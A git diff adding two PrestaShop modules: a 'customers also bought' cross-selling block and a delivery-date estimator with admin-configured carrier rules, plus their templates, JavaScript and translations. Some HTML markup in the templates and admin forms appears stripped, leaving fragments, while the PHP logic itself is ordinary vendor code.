($orderProducts AS &$orderProduct) + { + $orderProduct['image'] = $this->context->link->getImageLink($orderProduct['link_rewrite'], (int)$orderProduct['product_id'].'-'.(int)$orderProduct['id_image'], ImageType::getFormatedName('medium')); + $orderProduct['link'] = $this->context->link->getProductLink((int)$orderProduct['product_id'], $orderProduct['link_rewrite'], $orderProduct['category'], $orderProduct['ean13']); + if (Configuration::get('CROSSSELLING_DISPLAY_PRICE') AND ($taxCalc == 0 OR $taxCalc == 2)) + $orderProduct['displayed_price'] = Product::getPriceStatic((int)$orderProduct['product_id'], true, NULL); + elseif (Configuration::get('CROSSSELLING_DISPLAY_PRICE') AND $taxCalc == 1) + $orderProduct['displayed_price'] = Product::getPriceStatic((int)$orderProduct['product_id'], false, NULL); + } + + $this->smarty->assign(array('order' => (count($pIds) > 1 ? true : false), 'orderProducts' => $orderProducts, 'middlePosition_crossselling' => round(sizeof($orderProducts) / 2, 0), + 'crossDisplayPrice' => Configuration::get('CROSSSELLING_DISPLAY_PRICE'))); + } + return $this->display(__FILE__, 'crossselling.tpl'); + } + + /** + * Returns module content for left column + */ + public function hookProductFooter($params) + { + + $orders = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT o.id_order + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'order_detail od ON (od.id_order = o.id_order) + WHERE o.valid = 1 AND od.product_id = '.(int)$params['product']->id); + + if (sizeof($orders)) + { + $list = ''; + foreach ($orders AS $order) + $list .= (int)$order['id_order'].','; + $list = rtrim($list, ','); + + $orderProducts = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT od.product_id, pl.name, pl.link_rewrite, p.reference, i.id_image, product_shop.show_price, cl.link_rewrite category, p.ean13 + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = od.product_id) + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_product = od.product_id'.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_category = product_shop.id_category_default'.Shop::addSqlRestrictionOnLang('cl').') + LEFT JOIN '._DB_PREFIX_.'image i ON (i.id_product = od.product_id) + WHERE od.id_order IN ('.$list.') + AND pl.id_lang = '.(int)$this->context->language->id.' + AND cl.id_lang = '.(int)$this->context->language->id.' + AND od.product_id != '.(int)$params['product']->id.' + AND i.cover = 1 + AND product_shop.active = 1 + ORDER BY RAND() + LIMIT '.(int)Configuration::get('CROSSSELLING_NBR').' + '); + + $taxCalc = Product::getTaxCalculationMethod(); + foreach ($orderProducts AS &$orderProduct) + { + $orderProduct['image'] = $this->context->link->getImageLink($orderProduct['link_rewrite'], (int)$orderProduct['product_id'].'-'.(int)$orderProduct['id_image'], ImageType::getFormatedName('medium')); + $orderProduct['link'] = $this->context->link->getProductLink((int)$orderProduct['product_id'], $orderProduct['link_rewrite'], $orderProduct['category'], $orderProduct['ean13']); + if (Configuration::get('CROSSSELLING_DISPLAY_PRICE') AND ($taxCalc == 0 OR $taxCalc == 2)) + $orderProduct['displayed_price'] = Product::getPriceStatic((int)$orderProduct['product_id'], true, NULL); + elseif (Configuration::get('CROSSSELLING_DISPLAY_PRICE') AND $taxCalc == 1) + $orderProduct['displayed_price'] = Product::getPriceStatic((int)$orderProduct['product_id'], false, NULL); + } + + $this->smarty->assign(array('order' => false, 'orderProducts' => $orderProducts, 'middlePosition_crossselling' => round(sizeof($orderProducts) / 2, 0), + 'crossDisplayPrice' => Configuration::get('CROSSSELLING_DISPLAY_PRICE'))); + } + return $this->display(__FILE__, 'crossselling.tpl'); + } +} diff --git a/modules/crossselling/crossselling.tpl b/modules/crossselling/crossselling.tpl new file mode 100755 index 0000000..c537cb2 --- /dev/null +++ b/modules/crossselling/crossselling.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($orderProducts) && count($orderProducts)} +
        + +

        {l s='Customers who bought this product also bought:' mod='crossselling'}

        +
        + {if count($orderProducts) > 5}{l s='Previous' mod='crossselling'}{/if} +
        +
          5}style="width: {math equation="width * nbImages" width=107 nbImages=$orderProducts|@count}px"{/if}> + {foreach from=$orderProducts item='orderProduct' name=orderProduct} +
        • + {$orderProduct.name|htmlspecialchars} +

          {$orderProduct.name|truncate:15:'...'|escape:'htmlall':'UTF-8'}

          + {if $crossDisplayPrice AND $orderProduct.show_price == 1 AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} + + {convertPrice price=$orderProduct.displayed_price} +
          + {else} +
          + {/if} + +
        • + {/foreach} +
        +
        + {if count($orderProducts) > 5}{l s='Next' mod='crossselling'}{/if} +
        +
        +{/if} diff --git a/modules/crossselling/img/thumbs_left.gif b/modules/crossselling/img/thumbs_left.gif new file mode 100755 index 0000000..2830a5f Binary files /dev/null and b/modules/crossselling/img/thumbs_left.gif differ diff --git a/modules/crossselling/img/thumbs_right.gif b/modules/crossselling/img/thumbs_right.gif new file mode 100755 index 0000000..8fc5775 Binary files /dev/null and b/modules/crossselling/img/thumbs_right.gif differ diff --git a/modules/crossselling/index.php b/modules/crossselling/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/crossselling/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/crossselling/js/crossselling.js b/modules/crossselling/js/crossselling.js new file mode 100755 index 0000000..2f62081 --- /dev/null +++ b/modules/crossselling/js/crossselling.js @@ -0,0 +1,67 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +var cs_serialScrollNbImagesDisplayed; +var cs_serialScrollNbImages; +var cs_serialScrollActualImagesIndex; + +function cs_serialScrollFixLock(event, targeted, scrolled, items, position) +{ + serialScrollNbImages = $('#crossselling_list li:visible').length; + serialScrollNbImagesDisplayed = 5; + + var leftArrow = position == 0 ? true : false; + var rightArrow = position + serialScrollNbImagesDisplayed >= serialScrollNbImages ? true : false; + + $('a#crossselling_scroll_left').css('cursor', leftArrow ? 'default' : 'pointer').css('display', leftArrow ? 'none' : 'block').fadeTo(0, leftArrow ? 0 : 1); + $('a#crossselling_scroll_right').css('cursor', rightArrow ? 'default' : 'pointer').fadeTo(0, rightArrow ? 0 : 1).css('display', rightArrow ? 'none' : 'block'); + return true; +} + +$(document).ready(function(){ + if($('#crossselling_list').length > 0) + { + //init the serialScroll for thumbs + cs_serialScrollNbImages = $('#crossselling_list li').length; + cs_serialScrollNbImagesDisplayed = 5; + cs_serialScrollActualImagesIndex = 0; + $('#crossselling_list').serialScroll({ + items:'li', + prev:'a#crossselling_scroll_left', + next:'a#crossselling_scroll_right', + axis:'x', + offset:0, + stop:true, + onBefore:cs_serialScrollFixLock, + duration:300, + step: 1, + lazy:true, + lock: false, + force:false, + cycle:false + }); + $('#crossselling_list').trigger( 'goto', [cs_middle-3] ); + } +}); diff --git a/modules/crossselling/js/index.php b/modules/crossselling/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/crossselling/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/crossselling/logo.gif b/modules/crossselling/logo.gif new file mode 100755 index 0000000..291bfc7 Binary files /dev/null and b/modules/crossselling/logo.gif differ diff --git a/modules/crossselling/logo.png b/modules/crossselling/logo.png new file mode 100755 index 0000000..f51f8ff Binary files /dev/null and b/modules/crossselling/logo.png differ diff --git a/modules/crossselling/translations/fr.php b/modules/crossselling/translations/fr.php new file mode 100755 index 0000000..8fc894a --- /dev/null +++ b/modules/crossselling/translations/fr.php @@ -0,0 +1,18 @@ +crossselling_a1892c39b2598b4f30f9cc92c59f1aa5'] = 'Ventes croisées'; +$_MODULE['<{crossselling}prestashop>crossselling_ef2b66b0b65479e08ff0cce29e19d006'] = 'Les clients qui ont acheté ce produit ont également acheté...'; +$_MODULE['<{crossselling}prestashop>crossselling_462390017ab0938911d2d4e964c0cab7'] = 'Paramètres mis à jour'; +$_MODULE['<{crossselling}prestashop>crossselling_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{crossselling}prestashop>crossselling_b6bf131edd323320bac67303a3f4de8a'] = 'Afficher le prix du produit'; +$_MODULE['<{crossselling}prestashop>crossselling_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{crossselling}prestashop>crossselling_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{crossselling}prestashop>crossselling_70f9a895dc3273d34a7f6d14642708ec'] = 'Afficher le prix du produit dans le block'; +$_MODULE['<{crossselling}prestashop>crossselling_8ce2b5b3ffa27a8a66220a49357a1582'] = 'Détermine le nombre de produits affichés dans ce bloc'; +$_MODULE['<{crossselling}prestashop>crossselling_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{crossselling}prestashop>crossselling_dd1f775e443ff3b9a89270713580a51b'] = 'Précédent'; +$_MODULE['<{crossselling}prestashop>crossselling_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{crossselling}prestashop>crossselling_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Suivant'; diff --git a/modules/crossselling/translations/index.php b/modules/crossselling/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/crossselling/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/dateofdelivery/beforeCarrier.tpl b/modules/dateofdelivery/beforeCarrier.tpl new file mode 100755 index 0000000..6173d14 --- /dev/null +++ b/modules/dateofdelivery/beforeCarrier.tpl @@ -0,0 +1,91 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $datesDelivery|count} + + +
        +

        + {if $nbPackages <= 1} + {l s='Approximate date of delivery with this carrier is between' mod='dateofdelivery'} + {else} + {l s='There are %s packages, that will be approximately delivered with the delivery option you choose between' sprintf=$nbPackages mod='dateofdelivery'} + {/if} + {l s='and' mod='dateofdelivery'} * +
        + * {l s='with direct payment methods (e.g. credit card)' mod='dateofdelivery'} +

        +{/if} \ No newline at end of file diff --git a/modules/dateofdelivery/dateofdelivery.php b/modules/dateofdelivery/dateofdelivery.php new file mode 100755 index 0000000..3c5b98b --- /dev/null +++ b/modules/dateofdelivery/dateofdelivery.php @@ -0,0 +1,598 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class DateOfDelivery extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'dateofdelivery'; + $this->tab = 'shipping_logistics'; + $this->version = '1.1'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Date of delivery'); + $this->description = $this->l('Displays an approximate date of delivery'); + } + + public function install() + { + if (!parent::install() + || !$this->registerHook('beforeCarrier') + || !$this->registerHook('orderDetailDisplayed') + ||!$this->registerHook('displayPDFInvoice')) + return false; + + if (!Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'dateofdelivery_carrier_rule` ( + `id_carrier_rule` INT NOT NULL AUTO_INCREMENT PRIMARY KEY, + `id_carrier` INT NOT NULL, + `minimal_time` INT NOT NULL, + `maximal_time` INT NOT NULL, + `delivery_saturday` TINYINT(1) NOT NULL, + `delivery_sunday` TINYINT(1) NOT NULL + ) ENGINE ='._MYSQL_ENGINE_.'; + ')) + return false; + + Configuration::updateValue('DOD_EXTRA_TIME_PRODUCT_OOS', 0); + Configuration::updateValue('DOD_EXTRA_TIME_PREPARATION', 1); + Configuration::updateValue('DOD_PREPARATION_SATURDAY', 1); + Configuration::updateValue('DOD_PREPARATION_SUNDAY', 1); + Configuration::updateValue('DOD_DATE_FORMAT', 'l j F Y'); + + return true; + } + + public function uninstall() + { + Configuration::deleteByName('DOD_EXTRA_TIME_PRODUCT_OOS'); + Configuration::deleteByName('DOD_EXTRA_TIME_PREPARATION'); + Configuration::deleteByName('DOD_PREPARATION_SATURDAY'); + Configuration::deleteByName('DOD_PREPARATION_SUNDAY'); + Configuration::deleteByName('DOD_DATE_FORMAT'); + Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'dateofdelivery_carrier_rule`'); + + return parent::uninstall(); + } + + public function getContent() + { + $this->_html .= '

        '.$this->l('Date of delivery configuration').'

        '; + + $this->_postProcess(); + if (Tools::isSubmit('addCarrierRule') OR (Tools::isSubmit('editCarrierRule') AND Tools::isSubmit('id_carrier_rule'))) + $this->_setCarrierRuleForm(); + else + $this->_setConfigurationForm(); + + return $this->_html; + } + + public function hookBeforeCarrier($params) + { + if (!isset($params['delivery_option_list']) || !count($params['delivery_option_list'])) + return false; + + $package_list = $params['cart']->getPackageList(); + + $datesDelivery = array(); + foreach ($params['delivery_option_list'] as $id_address => $by_address) + { + $datesDelivery[$id_address] = array(); + foreach ($by_address as $key => $delivery_option) + { + $date_from = null; + $date_to = null; + $datesDelivery[$id_address][$key] = array(); + + foreach ($delivery_option['carrier_list'] as $id_carrier => $carrier) + { + foreach ($carrier['package_list'] as $id_package) + { + $package = $package_list[$id_address][$id_package]; + $oos = false; // For out of stock management + foreach ($package['product_list'] as $product) + if (StockAvailable::getQuantityAvailableByProduct($product['id_product'], $product['id_product_attribute']) <= 0) + { + $oos = true; + break; + } + + $date_range = $this->_getDatesOfDelivery($id_carrier, $oos); + if (is_null($date_from) || $date_from < $date_range[0]) + { + $date_from = $date_range[0][1]; + $datesDelivery[$id_address][$key][0] = $date_range[0]; + } + if (is_null($date_to) || $date_to < $date_range[1]) + { + $date_to = $date_range[1][1]; + $datesDelivery[$id_address][$key][1] = $date_range[1]; + } + } + } + } + } + + $this->smarty->assign(array( + 'nbPackages' => $params['cart']->getNbOfPackages(), + 'datesDelivery' => $datesDelivery, + 'delivery_option' => $params['delivery_option'] + )); + + return $this->display(__FILE__, 'beforeCarrier.tpl'); + } + + public function hookOrderDetailDisplayed($params) + { + + $oos = false; // For out of stock management + foreach ($params['order']->getProducts() as $product) + if ($product['product_quantity_in_stock'] < 1) + $oos = true; + + $datesDelivery = array(); + $datesDelivery = $this->_getDatesOfDelivery((int)($params['order']->id_carrier), $oos, $params['order']->date_add); + + if (!is_array($datesDelivery) OR !sizeof($datesDelivery)) + return ; + + $this->smarty->assign('datesDelivery', $datesDelivery); + + return $this->display(__FILE__, 'orderDetail.tpl'); + } + + /** + * Displays the delivery dates on the invoice + * + * @param $params contains an instance of OrderInvoice + * @return string + * + */ + public function hookDisplayPDFInvoice($params) + { + $order_invoice = $params['object']; + if (!($order_invoice instanceof OrderInvoice)) + return; + + $order = new Order((int)$order_invoice->id_order); + + $oos = false; // For out of stock management + foreach ($order->getProducts() as $product) + if ($product['product_quantity_in_stock'] < 1) + $oos = true; + + $id_carrier = (int)OrderInvoice::getCarrierId($order_invoice->id); + $return = ''; + if ($datesDelivery = $this->_getDatesOfDelivery($id_carrier, $oos, $order_invoice->date_add)) + $return = sprintf($this->l('Approximate date of delivery is between %1$s and %2$s'), $datesDelivery[0], $datesDelivery[1]); + + return $return; + } + + private function _postProcess() + { + $errors = array(); + if (Tools::isSubmit('submitMoreOptions')) + { + if (Tools::getValue('date_format') == '' OR !Validate::isCleanHtml(Tools::getValue('date_format'))) + $errors[] = $this->l('Date format is invalid'); + + if (!sizeof($errors)) + { + Configuration::updateValue('DOD_EXTRA_TIME_PRODUCT_OOS', (int)(Tools::getValue('extra_time_product_oos'))); + Configuration::updateValue('DOD_EXTRA_TIME_PREPARATION', (int)(Tools::getValue('extra_time_preparation'))); + Configuration::updateValue('DOD_PREPARATION_SATURDAY', (int)(Tools::isSubmit('preparation_saturday'))); + Configuration::updateValue('DOD_PREPARATION_SUNDAY', (int)(Tools::isSubmit('preparation_sunday'))); + Configuration::updateValue('DOD_DATE_FORMAT', Tools::getValue('date_format')); + $this->_html .= $this->displayConfirmation($this->l('Settings are updated')); + } + else + $this->_html .= $this->displayError(implode('
        ', $errors)); + } + + if (Tools::isSubmit('submitCarrierRule')) + { + if (!Validate::isUnsignedInt(Tools::getValue('minimal_time'))) + $errors[] = $this->l('Minimum time is invalid'); + if (!Validate::isUnsignedInt(Tools::getValue('maximal_time'))) + $errors[] = $this->l('Maximum time is invalid'); + if (($carrier = new Carrier((int)(Tools::getValue('id_carrier')))) AND !Validate::isLoadedObject($carrier)) + $errors[] = $this->l('Carrier is invalid'); + if ($this->_isAlreadyDefinedForCarrier((int)($carrier->id), (int)(Tools::getValue('id_carrier_rule', 0)))) + $errors[] = $this->l('You cannot use this carrier, a rule has already been saved.'); + + if (!sizeof($errors)) + { + if (Tools::isSubmit('addCarrierRule')) + { + if (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'dateofdelivery_carrier_rule`(`id_carrier`, `minimal_time`, `maximal_time`, `delivery_saturday`, `delivery_sunday`) + VALUES ('.(int)($carrier->id).', '.(int)(Tools::getValue('minimal_time')).', '.(int)(Tools::getValue('maximal_time')).', '.(int)(Tools::isSubmit('delivery_saturday')).', '.(int)(Tools::isSubmit('delivery_sunday')).') + ')) + Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules').'&confirmAddCarrierRule'); + else + $this->_html .= $this->displayError($this->l('An error occurred on adding of carrier rule.')); + } + else + { + if (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'dateofdelivery_carrier_rule` + SET `id_carrier` = '.(int)($carrier->id).', `minimal_time` = '.(int)(Tools::getValue('minimal_time')).', `maximal_time` = '.(int)(Tools::getValue('maximal_time')).', `delivery_saturday` = '.(int)(Tools::isSubmit('delivery_saturday')).', `delivery_sunday` = '.(int)(Tools::isSubmit('delivery_sunday')).' + WHERE `id_carrier_rule` = '.(int)(Tools::getValue('id_carrier_rule')) + )) + Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules').'&confirmEditCarrierRule'); + else + $this->_html .= $this->displayError($this->l('An error occurred on updating of carrier rule.')); + } + + } + else + $this->_html .= $this->displayError(implode('
        ', $errors)); + } + + if (Tools::isSubmit('deleteCarrierRule') AND Tools::isSubmit('id_carrier_rule') AND (int)(Tools::getValue('id_carrier_rule')) AND $this->_isCarrierRuleExists((int)(Tools::getValue('id_carrier_rule')))) + { + $this->_deleteByIdCarrierRule((int)(Tools::getValue('id_carrier_rule'))); + $this->_html .= $this->displayConfirmation($this->l('Carrier rule deleted successfully')); + } + + if (Tools::isSubmit('confirmAddCarrierRule')) + $this->_html = $this->displayConfirmation($this->l('Carrier rule added successfully')); + + if (Tools::isSubmit('confirmEditCarrierRule')) + $this->_html = $this->displayConfirmation($this->l('Carrier rule updated successfully')); + } + + private function _setConfigurationForm() + { + $this->_html .= ' +
        + '.$this->l('Carrier configuration').' + +

        '.$this->l('Add a new carrier rule').'

        + +

        '.$this->l('List of carrier rules').'

        '; + + $carrier_rules = $this->_getCarrierRulesWithCarrierName(); + if (sizeof($carrier_rules)) + { + $this->_html .= ' + + + + + + + + + + + '; + + foreach ($carrier_rules as $rule) + { + $this->_html .= ' + + + + + + + '; + } + + $this->_html .= ' + +
        '.$this->l('Name of carrier').''.$this->l('Delivery between').''.$this->l('Saturday delivery').''.$this->l('Sunday delivery').''.$this->l('Actions').'
        '.(!preg_match('/^0$/Ui', $rule['name']) ? htmlentities($rule['name'], ENT_QUOTES, 'UTF-8') : Configuration::get('PS_SHOP_NAME')).''.' '.sprintf($this->l('%1$d day(s) and %2$d day(s)'), $rule['minimal_time'], $rule['maximal_time']).''; + + if ($rule['delivery_saturday']) + $this->_html .= ''.$this->l('Yes').''; + else + $this->_html .= ''.$this->l('No').''; + $this->_html .=' + '; + + if ($rule['delivery_sunday']) + $this->_html .= ''.$this->l('Yes').''; + else + $this->_html .= ''.$this->l('No').''; + $this->_html .= ' + + + +
        '; + } + else + $this->_html .= '

        '.$this->l('No carrier rule').'

        '; + + $this->_html .= ' +
        +
        +
        +
        + '.$this->l('More options').' + + +
        + '.$this->l('day(s)').' +
        +
        + +
        + '.$this->l('day(s)').' +
        +
        + +
        +
          +
        • +
        • +
        +
        + +
        + +

        '.$this->l('You can see all parameters available at:').' http://www.php.net/manual/en/function.date.php

        +
        +

        +
        +
        + '; + } + + private function _setCarrierRuleForm() + { + $carriers = Carrier::getCarriers($this->context->language->id, true, false, false, null, Carrier::ALL_CARRIERS); + if (Tools::isSubmit('editCarrierRule') AND $this->_isCarrierRuleExists(Tools::getValue('id_carrier_rule'))) + $carrier_rule = $this->_getCarrierRule(Tools::getValue('id_carrier_rule')); + + $this->_html .= ' +
        + '; + + if (isset($carrier_rule) AND $carrier_rule['id_carrier_rule']) + $this->_html .= ''; + $this->_html .= ' +
        + '; + + if (Tools::isSubmit('addCarrierRule')) + $this->_html .= ' '.$this->l('New carrier rule').''; + elseif (Tools::isSubmit('editCarrierRule')) + $this->_html .= ' '.$this->l('Edit carrier rule').''; + + $this->_html .= ' + +
        + +
        + + +
        + '.$this->l('day(s) and').' + '.$this->l('day(s)').' +
        + + +
        +
          +
        • +
        • +
        +
        + +

        +

        '.$this->l('Cancel').'

        + '; + + $this->_html .= ' +
        +
        + '; + } + + private function _getCarrierRulesWithCarrierName() + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'dateofdelivery_carrier_rule` dcr + LEFT JOIN `'._DB_PREFIX_.'carrier` c ON (c.`id_carrier` = dcr.`id_carrier`) + '); + } + + private function _getCarrierRule($id_carrier_rule) + { + if (!(int)($id_carrier_rule)) + return false; + return Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'dateofdelivery_carrier_rule` + WHERE `id_carrier_rule` = '.(int)($id_carrier_rule) + ); + } + + private function _getCarrierRuleWithIdCarrier($id_carrier) + { + if (!(int)($id_carrier)) + return false; + return Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'dateofdelivery_carrier_rule` + WHERE `id_carrier` = '.(int)($id_carrier) + ); + } + + private function _isCarrierRuleExists($id_carrier_rule) + { + if (!(int)($id_carrier_rule)) + return false; + return (bool)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'dateofdelivery_carrier_rule` + WHERE `id_carrier_rule` = '.(int)($id_carrier_rule) + ); + } + + private function _deleteByIdCarrierRule($id_carrier_rule) + { + if (!(int)($id_carrier_rule)) + return false; + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'dateofdelivery_carrier_rule` + WHERE `id_carrier_rule` = '.(int)($id_carrier_rule) + ); + } + + private function _isAlreadyDefinedForCarrier($id_carrier, $id_carrier_rule = 0) + { + if (!(int)($id_carrier)) + return false; + return (bool)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'dateofdelivery_carrier_rule` + WHERE `id_carrier` = '.(int)($id_carrier).' + '.((int)$id_carrier_rule != 0 ? 'AND `id_carrier_rule` != '.(int)($id_carrier_rule) : '')); + } + + /** + * @param $id_carrier + * @param bool $product_oos + * @param null $date + * + * @return array|bool returns the min & max delivery date + */ + private function _getDatesOfDelivery($id_carrier, $product_oos = false, $date = null) + { + if (!(int)($id_carrier)) + return false; + $carrier_rule = $this->_getCarrierRuleWithIdCarrier((int)($id_carrier)); + if (empty($carrier_rule)) + return false; + + if ($date != null AND Validate::isDate($date)) + $date_now = strtotime($date); + else + $date_now = time(); // Date on timestamp format + if ($product_oos) + $date_now += Configuration::get('DOD_EXTRA_TIME_PRODUCT_OOS') * 24 * 3600; + if (!Configuration::get('DOD_PREPARATION_SATURDAY') AND date('l', $date_now) == 'Saturday') + $date_now += 24 * 3600; + if (!Configuration::get('DOD_PREPARATION_SUNDAY') AND date('l', $date_now) == 'Sunday') + $date_now += 24 * 3600; + + $date_minimal_time = $date_now + ($carrier_rule['minimal_time'] * 24 * 3600) + (Configuration::get('DOD_EXTRA_TIME_PREPARATION') * 24 * 3600); + $date_maximal_time = $date_now + ($carrier_rule['maximal_time'] * 24 * 3600) + (Configuration::get('DOD_EXTRA_TIME_PREPARATION') * 24 * 3600); + + if (!$carrier_rule['delivery_saturday'] AND date('l', $date_minimal_time) == 'Saturday') + { + $date_minimal_time += 24 * 3600; + $date_maximal_time += 24 * 3600; + } + if (!$carrier_rule['delivery_saturday'] AND date('l', $date_maximal_time) == 'Saturday') + $date_maximal_time += 24 * 3600; + + if (!$carrier_rule['delivery_sunday'] AND date('l', $date_minimal_time) == 'Sunday') + { + $date_minimal_time += 24 * 3600; + $date_maximal_time += 24 * 3600; + } + if (!$carrier_rule['delivery_sunday'] AND date('l', $date_maximal_time) == 'Sunday') + $date_maximal_time += 24 * 3600; + + /* + + // Do not remove this commentary, it's usefull to allow translations of months and days in the translator tool + + $this->l('Sunday'); + $this->l('Monday'); + $this->l('Tuesday'); + $this->l('Wednesday'); + $this->l('Thursday'); + $this->l('Friday'); + $this->l('Saturday'); + + $this->l('January'); + $this->l('February'); + $this->l('March'); + $this->l('April'); + $this->l('May'); + $this->l('June'); + $this->l('July'); + $this->l('August'); + $this->l('September'); + $this->l('October'); + $this->l('November'); + $this->l('December'); + */ + + $date_minimal_string = ''; + $date_maximal_string = ''; + $date_format = preg_split('/([a-z])/Ui', Configuration::get('DOD_DATE_FORMAT'), NULL, PREG_SPLIT_DELIM_CAPTURE); + foreach ($date_format as $elmt) + { + if ($elmt == 'l' OR $elmt == 'F') + { + $date_minimal_string .= $this->l(date($elmt, $date_minimal_time)); + $date_maximal_string .= $this->l(date($elmt, $date_maximal_time)); + } + elseif (preg_match('/[a-z]/Ui', $elmt)) + { + $date_minimal_string .= date($elmt, $date_minimal_time); + $date_maximal_string .= date($elmt, $date_maximal_time); + } + else + { + $date_minimal_string .= $elmt; + $date_maximal_string .= $elmt; + } + } + return array( + array( + $date_minimal_string, + $date_minimal_time + ), + array( + $date_maximal_string, + $date_maximal_time + ) + ); + } +} diff --git a/modules/dateofdelivery/img/cross.png b/modules/dateofdelivery/img/cross.png new file mode 100755 index 0000000..1514d51 Binary files /dev/null and 